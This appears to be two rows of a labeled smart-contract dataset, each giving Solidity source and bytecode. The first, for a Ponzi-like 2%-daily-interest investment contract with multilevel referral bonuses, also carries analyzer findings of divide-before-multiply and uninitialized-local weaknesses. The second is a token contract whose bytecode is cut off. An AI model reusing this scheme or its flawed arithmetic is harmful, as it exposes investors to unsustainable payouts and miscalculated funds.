function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DAppCluster is Ownable {
using SafeMath for uint256;
//Custom datatype to store investment details
struct Investment {
uint256 investmentAmount;
uint256 interestEarned;
uint256 investmentDate;
uint256 referralBonus;
uint256 expiryDate;
bool isExpired;
uint256 level1RefId;
uint256 level2RefId;
uint256 level3RefId;
}
uint256 public constant DEVELOPER_FEES = 4;
uint256 public constant MARKETING_FEES = 4;
uint256 public constant REFERRAL_LEVEL1_RATE = 8;
uint256 public constant REFERRAL_LEVEL2_RATE = 4;
uint256 public constant REFERRAL_LEVEL3_RATE = 2;
uint256 public constant MINIMUM_INVESTMENT = 10000000000000000;
uint256 public constant DAILY_INTEREST = 2;
uint256 public constant HARD_LOCKPERIOD_DAYS = 50;
uint256 public constant SOFT_LOCKPERIOD_DAYS = 11;
uint256 private constant START_USERCODE = 1000;
uint256 private latestUserCode;
uint256 private totalInvestment;
uint256 private totalWithdrawal;
uint256 private totalInterestPaid;
uint256 private totalReferralBonusPaid;
address private developerAccount;
address private marketingAccount;
// mapping to store UserId of address
mapping(address => uint256) private UID;
// mapping to store investment details of UserId
mapping(uint256 => Investment) private investment;
// events to log action
event onInvest(address investor, uint256 amount, uint256 referral_Level1, uint256 referral_Level2, uint256 referral_Level3);
event onWithdraw(address investor, uint256 amount, uint256 interest, uint256 referralBonus, uint256 totalAmount);
// constructor to initiate variables
constructor() {
latestUserCode = START_USERCODE;
}
// function to get UserID if address is already part of system and generate new UserId if address is new in system
function getUserID(address _addr) internal returns(uint256 UserId){
uint256 uid = UID[_addr];
if (uid == 0){
latestUserCode = latestUserCode.add(1);
UID[_addr] = latestUserCode;
uid = latestUserCode;
}
return uid;
}
// function to change marketing account
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner returns(bool) {
require(_newMarketingAccount != address(0));
// marketing account able to withdraw bonus without locking as this money needs to pay for advertising & enhancement
uint256 uid = getUserID(_newMarketingAccount);
// make sure marketing account has not invested because locking doesn't get applied on it and eligible only to get bonus
require(investment[uid].investmentAmount == 0);
marketingAccount = _newMarketingAccount;
return true;
}
// function to get marketing account
function getMarketingAccount() public view returns (address) {
return marketingAccount;
}
// function to change developer account
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner returns(bool) {
require(_newDeveloperAccount != address(0));
// developer account able to withdraw bonus without locking as this money needs to pay for advertising & enhancement
uint256 uid = getUserID(_newDeveloperAccount);
// make sure developer account has not invested because locking doesn't get applied on it and eligible only to get bonus
require(investment[uid].investmentAmount == 0);
developerAccount = _newDeveloperAccount;
return true;
}
// function to get developer account
function getDeveloperAccount() public view returns (address) {
return developerAccount;
}
// function to get contract balance
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
// fallback function to handle accidently send investment
fallback() payable external{
_invest(msg.sender, 0, msg.value);
}
// receive function to handle received coin
receive() payable external{
_invest(msg.sender, 0, msg.value);
}
// invest function to handle investment using referral code
function invest(uint256 _referrerCode) public payable{
_invest(msg.sender, _referrerCode, msg.value);
}
// _invest function to process received investment
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) internal returns(bool){
require(_amount >= MINIMUM_INVESTMENT, "Less than the minimum amount of deposit requirement");
// Restricting marketing & developer account from investment as locking doesn't get applied on it and they can only earn bonus
require(_addr != marketingAccount && _addr != developerAccount, "Marketing & Developement Account Are Not Allowed To Invest");
uint256 uid = getUserID(_addr);
// assign development fees & marketing fees as bonus
investment[UID[developerAccount]].referralBonus = investment[UID[developerAccount]].referralBonus.add(_amount.mul(DEVELOPER_FEES).div(100));
investment[UID[marketingAccount]].referralBonus = investment[UID[marketingAccount]].referralBonus.add(_amount.mul(MARKETING_FEES).div(100));
// assign referral level if user invested via referral link
if (_referrerCode != 0 && _referrerCode != uid && investment[uid].investmentAmount == 0){
investment[uid].level1RefId = _referrerCode;
if (investment[_referrerCode].level1RefId !=0){
investment[uid].level2RefId = investment[_referrerCode].level1RefId;
if (investment[_referrerCode].level2RefId != 0){
investment[uid].level3RefId = investment[_referrerCode].level2RefId;
}
else{
investment[uid].level3RefId = 0;
}
}
else{
investment[uid].level2RefId = 0;
investment[uid].level3RefId = 0;
}
}
// assign level1 referral bonus only if still invested in system
if (investment[uid].level1RefId != 0 && (investment[uid].level1RefId > START_USERCODE && investment[uid].level1RefId <= latestUserCode) && investment[investment[uid].level1RefId].isExpired != true){
investment[investment[uid].level1RefId].referralBonus = investment[investment[uid].level1RefId].referralBonus.add(_amount.mul(REFERRAL_LEVEL1_RATE).div(100));
// Assign Level2 Referral Bonus Only If Level1 & Level2 Still Invested In System
if (investment[uid].level2RefId != 0 && (investment[uid].level2RefId > START_USERCODE && investment[uid].level2RefId <= latestUserCode) && investment[investment[uid].level2RefId].isExpired != true){
investment[investment[uid].level2RefId].referralBonus = investment[investment[uid].level2RefId].referralBonus.add(_amount.mul(REFERRAL_LEVEL2_RATE).div(100));
// Assign Level3 Referral Bonus Only If Level1, Level2 & Level3 Still Invested In System
if (investment[uid].level3RefId != 0 && (investment[uid].level3RefId > START_USERCODE && investment[uid].level3RefId <= latestUserCode) && investment[investment[uid].level3RefId].isExpired != true){
investment[investment[uid].level3RefId].referralBonus = investment[investment[uid].level3RefId].referralBonus.add(_amount.mul(REFERRAL_LEVEL3_RATE).div(100));
}
}
}
// if user is already part of system & investing additional fund then calculate interest for previous investment and update balance with new fund
if (investment[uid].isExpired != true && investment[uid].investmentAmount != 0){
uint256 day = block.timestamp.sub(investment[uid].investmentDate).div(60).div(60).div(24);
investment[uid].interestEarned = investment[uid].interestEarned.add(investment[uid].investmentAmount.mul(DAILY_INTEREST).div(100).mul(day));
}
// if user is already part of system with endParticipation & investing additional fund then calculate interest for previous investment and update balance with new fund
if (investment[uid].isExpired == true && investment[uid].investmentAmount != 0){
uint256 day = investment[uid].expiryDate.sub(investment[uid].investmentDate).div(60).div(60).div(24);
investment[uid].interestEarned = investment[uid].interestEarned.add(investment[uid].investmentAmount.mul(DAILY_INTEREST).div(100).mul(day));
}
investment[uid].investmentAmount = investment[uid].investmentAmount.add(_amount);
// update investment date & activate participation
investment[uid].investmentDate = block.timestamp;
investment[uid].expiryDate = 0;
investment[uid].isExpired = false;
totalInvestment = totalInvestment.add(_amount);
emit onInvest(_addr, _amount, investment[uid].level1RefId, investment[uid].level2RefId, investment[uid].level3RefId);
return true;
}
// endParticipation function to apply for SOFT_LOCKPERIOD
function endParticipation() public returns(bool){
address _addr = msg.sender;
uint256 uid = UID[_addr];
uint256 day = block.timestamp.sub(investment[uid].investmentDate).div(60).div(60).div(24);
// user must be part of system
require(uid != 0);
// check HARD_LOCKPERIOD if finished
require(day > HARD_LOCKPERIOD_DAYS, "Hard locking period is not finished");
// enable SOFT_LOCKPERIOD and update time
investment[uid].isExpired = true;
investment[uid].expiryDate = block.timestamp;
return true;
}
// withdraw function to get investmentAmount, interest, referralBonus after SOFT_LOCKPERIOD completion
function withdraw() public returns(bool){
address _addr = msg.sender;
uint256 uid = UID[_addr];
uint256 day = 0 ;
// user must be part of system
require(uid != 0);
// locking is not applicable on marketing & developer account and they will be only eligible to withdraw bonus.
// Investement using Developement & marketing accounts are restricted via _invest function
if (_addr != developerAccount && _addr != marketingAccount){
// check SOFT_LOCKPERIOD is enabled
require(investment[uid].isExpired == true, "End participation & wait for soft locking period before withdrawing");
require(investment[uid].expiryDate != 0, "End participation & wait for soft locking period before withdrawing");
day = block.timestamp.sub(investment[uid].expiryDate).div(60).div(60).div(24);
// check SOFT_LOCKPERIOD is completed
require(day > SOFT_LOCKPERIOD_DAYS,"Wait for soft locking period before withdrawing");
}
uint256 amountToSend;
// calculate days to pay interest
day = investment[uid].expiryDate.sub(investment[uid].investmentDate).div(60).div(60).div(24);
//calculate amount to pay
uint256 interest = investment[uid].investmentAmount.mul(DAILY_INTEREST).div(100).mul(day);
amountToSend = investment[uid].investmentAmount.add(investment[uid].interestEarned).add(investment[uid].referralBonus).add(interest);
// set global variables to keep record of totalWithdrawal, totalInterestPaid & totalReferralBonusPaid
totalWithdrawal = totalWithdrawal.add(investment[uid].investmentAmount);
totalInterestPaid = totalInterestPaid.add(investment[uid].interestEarned).add(interest);
totalReferralBonusPaid = totalReferralBonusPaid.add(investment[uid].referralBonus);
// log event for withdrawal
emit onWithdraw(_addr, investment[uid].investmentAmount, interest.add(investment[uid].interestEarned), investment[uid].referralBonus, amountToSend);
// update user balance details
investment[uid].investmentAmount = 0;
investment[uid].interestEarned = 0;
investment[uid].investmentDate = 0;
investment[uid].referralBonus = 0;
investment[uid].expiryDate = 0;
investment[uid].isExpired = false;
// transfer fund to user wallet
payable(address(_addr)).transfer(amountToSend);
return true;
}
// function to get user balance ddetails
function getUserInformation(address _walletAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, bool){
require(msg.sender == _walletAddress || msg.sender == owner(),"User can only check own balance");
uint256 investmentAmount;
uint256 interestEarned;
uint256 referralBonus;
uint256 investmentDate;
uint256 expiryDate;
bool isExpired;
uint day;
address _addr = _walletAddress;
uint256 uid = UID[_addr];
investmentAmount = investment[uid].investmentAmount;
// calculate days invested
if (investment[uid].isExpired != true){
day = block.timestamp.sub(investment[uid].investmentDate).div(60).div(60).div(24);
}
if (investment[uid].isExpired == true){
day = investment[uid].expiryDate.sub(investment[uid].investmentDate).div(60).div(60).div(24);
}
// calculate interest earned
interestEarned = investment[uid].interestEarned.add(investment[uid].investmentAmount.mul(DAILY_INTEREST).div(100).mul(day));
referralBonus = investment[uid].referralBonus;
investmentDate = investment[uid].investmentDate;
expiryDate = investment[uid].expiryDate;
isExpired = investment[uid].isExpired;
return (uid, investmentAmount, interestEarned, referralBonus, investmentDate, expiryDate, isExpired);
}
// function to get contract holding details
function getContractInformation() public view returns(uint256, uint256, uint256, uint256, uint256, uint256){
uint256 contractBalance;
contractBalance = address(this).balance;
return (contractBalance, totalInvestment, totalWithdrawal, totalInterestPaid, totalReferralBonusPaid, latestUserCode - START_USERCODE);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
|
0x6080604052600436106101395760003560e01c80638a4660fe116100ab578063d7a0cd721161006f578063d7a0cd7214610184578063ec000e27146101e5578063f2fde38b146102ed578063f3e7569f1461030d578063f6dfdad11461032d578063f872e6e0146103545761014d565b80638a4660fe1461027b5780638da5cb5b146102905780639862d5f0146102a5578063a9afafec146102d8578063c1bd4e22146101e55761014d565b806345ba868f116100fd57806345ba868f146101e557806350b2a881146101fa5780636f9fb98a1461021a578063715018a61461022f5780637e3ee80d14610244578063838fcc90146102665761014d565b8063070618ab14610159578063267edd2f1461018457806329ef8815146101995780632afcf480146101ae5780633ccfd60b146101c35761014d565b3661014d5761014a33600034610369565b50005b61014a33600034610369565b34801561016557600080fd5b5061016e610a46565b60405161017b91906116b5565b60405180910390f35b34801561019057600080fd5b5061016e610a4b565b3480156101a557600080fd5b5061016e610a50565b6101c16101bc3660046113f3565b610a55565b005b3480156101cf57600080fd5b506101d8610a64565b60405161017b919061144d565b3480156101f157600080fd5b5061016e610d57565b34801561020657600080fd5b506101d86102153660046113d7565b610d5c565b34801561022657600080fd5b5061016e610de7565b34801561023b57600080fd5b506101c1610deb565b34801561025057600080fd5b50610259610e5f565b60405161017b919061140b565b34801561027257600080fd5b50610259610e6e565b34801561028757600080fd5b5061016e610e7d565b34801561029c57600080fd5b50610259610e88565b3480156102b157600080fd5b506102c56102c03660046113d7565b610e97565b60405161017b97969594939291906116e6565b3480156102e457600080fd5b506101d86110d9565b3480156102f957600080fd5b506101c16103083660046113d7565b611177565b34801561031957600080fd5b506101d86103283660046113d7565b611222565b34801561033957600080fd5b506103426112ad565b60405161017b969594939291906116be565b34801561036057600080fd5b5061016e6112ec565b6000662386f26fc1000082101561039b5760405162461bcd60e51b815260040161039290611662565b60405180910390fd5b6007546001600160a01b038581169116148015906103c757506006546001600160a01b03858116911614155b6103e35760405162461bcd60e51b815260040161039290611605565b60006103ee856112f1565b905061043a6104096064610403866004611345565b9061137e565b6006546001600160a01b031660009081526008602090815260408083205483526009909152902060030154906113a0565b6006546001600160a01b0316600090815260086020908152604080832054835260099091529020600301556104a96104786064610403866004611345565b6007546001600160a01b031660009081526008602090815260408083205483526009909152902060030154906113a0565b6007546001600160a01b03166000908152600860209081526040808320548352600990915290206003015583158015906104e35750808414155b80156104fb5750600081815260096020526040902054155b156105a4576000818152600960205260408082206006908101879055868352912001541561058a576000848152600960205260408082206006810154848452918320600790810192909255918690520154156105725760008481526009602052604080822060070154838352912060080155610585565b6000818152600960205260408120600801555b6105a4565b600081815260096020526040812060078101829055600801555b600081815260096020526040902060060154158015906105f457506000818152600960205260409020600601546103e81080156105f4575060015460008281526009602052604090206006015411155b8015610620575060008181526009602052604080822060060154825290206005015460ff161515600114155b15610809576106596106386064610403866008611345565b600083815260096020526040808220600601548252902060030154906113a0565b600082815260096020526040808220600681015483529082206003019290925582905260070154158015906106be57506000818152600960205260409020600701546103e81080156106be575060015460008281526009602052604090206007015411155b80156106ea575060008181526009602052604080822060070154825290206005015460ff161515600114155b15610809576107236107026064610403866004611345565b600083815260096020526040808220600701548252902060030154906113a0565b6000828152600960205260408082206007810154835290822060030192909255829052600801541580159061078857506000818152600960205260409020600801546103e8108015610788575060015460008281526009602052604090206008015411155b80156107b4575060008181526009602052604080822060080154825290206005015460ff161515600114155b15610809576107ed6107cc6064610403866002611345565b600083815260096020526040808220600801548252902060030154906113a0565b6000828152600960205260408082206008015482529020600301555b60008181526009602052604090206005015460ff16151560011480159061083d575060008181526009602052604090205415155b156108dc57600061087c6018610403603c610403603c610403600960008a815260200190815260200160002060020154426113bc90919063ffffffff16565b6000838152600960205260409020549091506108c8906108b09083906108aa90606490610403906002611345565b90611345565b600084815260096020526040902060010154906113a0565b600083815260096020526040902060010155505b60008181526009602052604090206005015460ff161515600114801561090f575060008181526009602052604090205415155b1561098857600081815260096020526040812060028101546004909101546109469160189161040391603c918391839183916113bc565b600083815260096020526040902054909150610974906108b09083906108aa90606490610403906002611345565b600083815260096020526040902060010155505b6000818152600960205260409020546109a190846113a0565b60008281526009602052604081209182554260028084019190915560048301919091556005909101805460ff19169055546109dc90846113a0565b600255600081815260096020526040908190206006810154600782015460089092015492517fb65512704c919591df0cf0b58f8f242bde1980f2db668e47e5dad4eac952762e93610a33938a93899390929061141f565b60405180910390a1506001949350505050565b603281565b600281565b600b81565b610a60338234610369565b5050565b336000818152600860205260408120549091908281610a8257600080fd5b6006546001600160a01b03848116911614801590610aae57506007546001600160a01b03848116911614155b15610b715760008281526009602052604090206005015460ff161515600114610ae95760405162461bcd60e51b815260040161039290611518565b600082815260096020526040902060040154610b175760405162461bcd60e51b815260040161039290611518565b610b4f6018610403603c610403603c610403600960008a815260200190815260200160002060040154426113bc90919063ffffffff16565b9050600b8111610b715760405162461bcd60e51b815260040161039290611581565b60008281526009602052604081206002810154600490910154610ba39160189161040391603c918391839183916113bc565b60008481526009602052604081205491935090610bce9084906108aa90606490610403906002611345565b6000858152600960205260409020600381015460018201549154929350610c03928492610bfd929183916113a0565b906113a0565b600085815260096020526040902054600354919350610c2291906113a0565b600355600084815260096020526040902060010154600454610c49918391610bfd916113a0565b600455600084815260096020526040902060030154600554610c6a916113a0565b600555600084815260096020526040902080546001909101547fcec0d427a3bb225af399d516cf77e516ba972de93abdb14e98cebe7c6068bcd6918791610cb29085906113a0565b60008881526009602052604090819020600301549051610cd79493929190889061141f565b60405180910390a160008481526009602052604080822082815560018101839055600281018390556003810183905560048101839055600501805460ff19169055516001600160a01b0387169184156108fc02918591818181858888f19350505050158015610d4a573d6000803e3d6000fd5b5060019550505050505090565b600481565b600080546001600160a01b03163314610d875760405162461bcd60e51b8152600401610392906115d0565b6001600160a01b038216610d9a57600080fd5b6000610da5836112f1565b60008181526009602052604090205490915015610dc157600080fd5b5050600780546001600160a01b0383166001600160a01b03199091161790556001919050565b4790565b6000546001600160a01b03163314610e155760405162461bcd60e51b8152600401610392906115d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6006546001600160a01b031690565b6007546001600160a01b031690565b662386f26fc1000081565b6000546001600160a01b031690565b6000808080808080336001600160a01b0389161480610ece5750610eb9610e88565b6001600160a01b0316336001600160a01b0316145b610eea5760405162461bcd60e51b81526004016103929061149b565b6000806000806000806000808f9050600060086000836001600160a01b03166001600160a01b03168152602001908152602001600020549050600960008281526020019081526020016000206000015498506009600082815260200190815260200160002060050160009054906101000a900460ff1615156001151514610fa657610fa36018610403603c610403603c6104036009600089815260200190815260200160002060020154426113bc90919063ffffffff16565b92505b60008181526009602052604090206005015460ff16151560011415610ffa5760008181526009602052604090206002810154600490910154610ff79160189161040391603c918391839183916113bc565b92505b60008181526009602052604090205461103d906110259085906108aa90606490610403906002611345565b600083815260096020526040902060010154906113a0565b97506009600082815260200190815260200160002060030154965060096000828152602001908152602001600020600201549550600960008281526020019081526020016000206004015494506009600082815260200190815260200160002060050160009054906101000a900460ff169350808989898989899f509f509f509f509f509f509f50505050505050505050919395979092949650565b336000818152600860209081526040808320548084526009909252822060020154919291839061111a9060189061040390603c9082908290829042906113bc565b90508161112657600080fd5b603281116111465760405162461bcd60e51b815260040161039290611458565b50600090815260096020526040902060058101805460ff191660019081179091554260049092019190915591505090565b6000546001600160a01b031633146111a15760405162461bcd60e51b8152600401610392906115d0565b6001600160a01b0381166111c75760405162461bcd60e51b8152600401610392906114d2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b0316331461124d5760405162461bcd60e51b8152600401610392906115d0565b6001600160a01b03821661126057600080fd5b600061126b836112f1565b6000818152600960205260409020549091501561128757600080fd5b5050600680546001600160a01b0383166001600160a01b03199091161790556001919050565b6000806000806000806000479050806002546003546004546005546103e86001546112d8919061176f565b949c939b5091995097509550909350915050565b600881565b6001600160a01b0381166000908152600860205260408120548061133f576001805461131c916113a0565b60018190556001600160a01b038416600090815260086020526040902081905590505b92915050565b6000826113545750600061133f565b60006113608385611750565b90508261136d8583611730565b1461137757600080fd5b9392505050565b600080821161138c57600080fd5b60006113988385611730565b949350505050565b6000806113ad8385611718565b90508381101561137757600080fd5b6000828211156113cb57600080fd5b6000611398838561176f565b6000602082840312156113e8578081fd5b81356113778161179c565b600060208284031215611404578081fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b03959095168552602085019390935260408401919091526060830152608082015260a00190565b901515815260200190565b60208082526023908201527f48617264206c6f636b696e6720706572696f64206973206e6f742066696e69736040820152621a195960ea1b606082015260800190565b6020808252601f908201527f557365722063616e206f6e6c7920636865636b206f776e2062616c616e636500604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526043908201527f456e642070617274696369706174696f6e2026207761697420666f7220736f6660408201527f74206c6f636b696e6720706572696f64206265666f7265207769746864726177606082015262696e6760e81b608082015260a00190565b6020808252602f908201527f5761697420666f7220736f6674206c6f636b696e6720706572696f642062656660408201526e6f7265207769746864726177696e6760881b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252603a908201527f4d61726b6574696e67202620446576656c6f70656d656e74204163636f756e7460408201527f20417265204e6f7420416c6c6f77656420546f20496e76657374000000000000606082015260800190565b60208082526033908201527f4c657373207468616e20746865206d696e696d756d20616d6f756e74206f662060408201527219195c1bdcda5d081c995c5d5a5c995b595b9d606a1b606082015260800190565b90815260200190565b958652602086019490945260408501929092526060840152608083015260a082015260c00190565b968752602087019590955260408601939093526060850191909152608084015260a0830152151560c082015260e00190565b6000821982111561172b5761172b611786565b500190565b60008261174b57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561176a5761176a611786565b500290565b60008282101561178157611781611786565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146117b157600080fd5b5056fea2646970667358221220ee5b38fabe8ff0828ebe7826c740fa401211c1915e14d4b7be00562f258a82d664736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,169 |
0x36ea8cfaca8a78cea3d49c4bb6bf77a49a34b8be
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = 0x9b896F213B10e6A8bf41469491edc553775AcB61;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Function to prevent eth transfers to this contract
*/
function() public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return BasicToken(tokenAddress).transfer(owner, tokens);
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _toAddresses Receiver addresses.
* @param _amounts Amounts of tokens that will be transferred.
*/
function multiSend(address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _from The address of the sender
* @param _toAddresses The addresses of the recipients (MAX 255)
* @param _amounts The amounts of tokens to be transferred
*/
function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
}
contract StudentCoin is StandardToken {
string public constant name = "StudentCoin";
string public constant symbol = "STC";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals));
function StudentCoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[0x9b896F213B10e6A8bf41469491edc553775AcB61] = INITIAL_SUPPLY;
Transfer(0x0, 0x9b896F213B10e6A8bf41469491edc553775AcB61, INITIAL_SUPPLY);
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f15780632ff2e9dc1461026a578063313ce5671461029357806370a08231146102c25780638da5cb5b1461030f57806395d89b4114610364578063a7ff2373146103f2578063a9059cbb146104ab578063bb4c9f0b14610505578063dc39d06d1461059f578063dd62ed3e146105f9578063f2fde38b14610665575b600080fd5b34156100eb57600080fd5b6100f361069e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106d7565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6107c9565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107d3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d610b92565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a6610ba2565b604051808260ff1660ff16815260200191505060405180910390f35b34156102cd57600080fd5b6102f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ba7565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b610322610bf0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036f57600080fd5b610377610c15565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b757808201518184015260208101905061039c565b50505050905090810190601f1680156103e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103fd57600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610c4e565b005b34156104b657600080fd5b6104eb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cd5565b604051808215151515815260200191505060405180910390f35b341561051057600080fd5b61059d60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610ef9565b005b34156105aa57600080fd5b6105df600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f7e565b604051808215151515815260200191505060405180910390f35b341561060457600080fd5b61064f600480803573ffffffffffff